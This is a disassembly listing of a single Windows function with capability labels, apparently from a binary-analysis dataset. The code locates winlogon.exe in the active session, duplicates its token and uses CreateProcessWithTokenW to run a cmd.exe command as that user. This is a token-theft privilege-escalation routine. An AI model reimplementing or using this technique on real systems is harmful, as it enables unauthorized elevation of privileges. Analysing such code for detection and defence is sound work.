Function at 0x401370
Capabilities:
Create process on windows
Enumerate process modules
Get common file path
Impersonate user

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x16c8
call fcn.00413db0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str.cmd.exe_refre___C:cd.txt]
mov eax, dword [0x41acbc]
push esi
movups xmmword [ebp - 0x238], xmm0
push edi
movups xmm0, xmmword [0x41ac9c]
push 0x1d4
mov dword [ebp - 0x208], eax
lea eax, [ebp - 0x204]
movups xmmword [ebp - 0x228], xmm0
push 0
movups xmm0, xmmword [0x41acac]
push eax
movups xmmword [ebp - 0x218], xmm0
call fcn.00402780
add esp, 0xc
lea eax, [ebp - 0x648]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x401529
movups xmm0, xmmword [str.winlogon.exe]
mov ax, word [0x41acd8]
mov word [ebp - 0x18], ax
movups xmmword [ebp - 0x30], xmm0
movq xmm0, qword [0x41acd0]
movq qword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [ebp - 0x1658], eax
cmp eax, 0xffffffff
je 0x401529
lea eax, [ebp - 0x1654]
push eax
push 0x1000
lea eax, [ebp - 0x1648]
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x401529
mov eax, dword [ebp - 0x1654]
xor esi, esi
shr eax, 2
mov dword [ebp - 0x1660], eax
test eax, eax
je 0x401529
nop dword [eax]
nop word [eax + eax]
lea eax, [ebp - 0x1648]
lea eax, [eax + esi*4]
mov dword [ebp - 0x1664], eax
mov eax, dword [eax]
test eax, eax
je 0x40151c
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40151c
push 0x104
lea eax, [ebp - 0x440]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x401515
lea eax, [ebp - 0x440]
push 0x5c
push eax
call fcn.004022fe
add esp, 8
test eax, eax
je 0x401515
lea ecx, [ebp - 0x30]
add eax, 2
push ecx
push eax
call fcn.004066e6
add esp, 8
test eax, eax
jne 0x401515
lea eax, [ebp - 0x165c]
push eax
push dword [ebp + esi*4 - 0x1648]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x401515
mov eax, dword [ebp - 0x1658]
cmp dword [ebp - 0x165c], eax
je 0x40153e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 0x1660]
jb 0x401480
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040167c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov eax, dword [ebp - 0x1664]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [eax]
call edi
push esi
push 0
push 0x440
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401529
lea eax, [ebp - 0x164c]
push eax
push 0xa
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4015a1
lea eax, [ebp - 0x1650]
push eax
push 1
push 1
push 0
push 0x2000000
push dword [ebp - 0x164c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push dword [ebp - 0x164c]
test eax, eax
jne 0x4015a6
call edi
push esi
call edi
jmp 0x401529
call edi
push esi
call edi
lea eax, [ebp - 0x1680]
mov dword [ebp - 0x16c4], 0
push eax
lea eax, [ebp - 0x16c8]
mov dword [ebp - 0x16c8], 0x44
push eax
lea eax, [ebp - 0x648]
mov dword [ebp - 0x16c0], str.winsta0default
push eax
push 0
push 0x30
lea eax, [ebp - 0x238]
xorps xmm0, xmm0
push eax
push 0
push 1
push dword [ebp - 0x1650]
movlpd qword [ebp - 0x16bc], xmm0
movlpd qword [ebp - 0x16b4], xmm0
movlpd qword [ebp - 0x16ac], xmm0
movlpd qword [ebp - 0x16a4], xmm0
movlpd qword [ebp - 0x169c], xmm0
movlpd qword [ebp - 0x1694], xmm0
movlpd qword [ebp - 0x168c], xmm0
movaps xmmword [ebp - 0x1680], xmm0
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov esi, eax
test esi, esi
je 0x40164f
push 0xffffffffffffffff
push dword [ebp - 0x1680]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1650]
call edi
push dword [ebp - 0x1680]
call edi
push dword [ebp - 0x167c]
call edi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.0040167c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret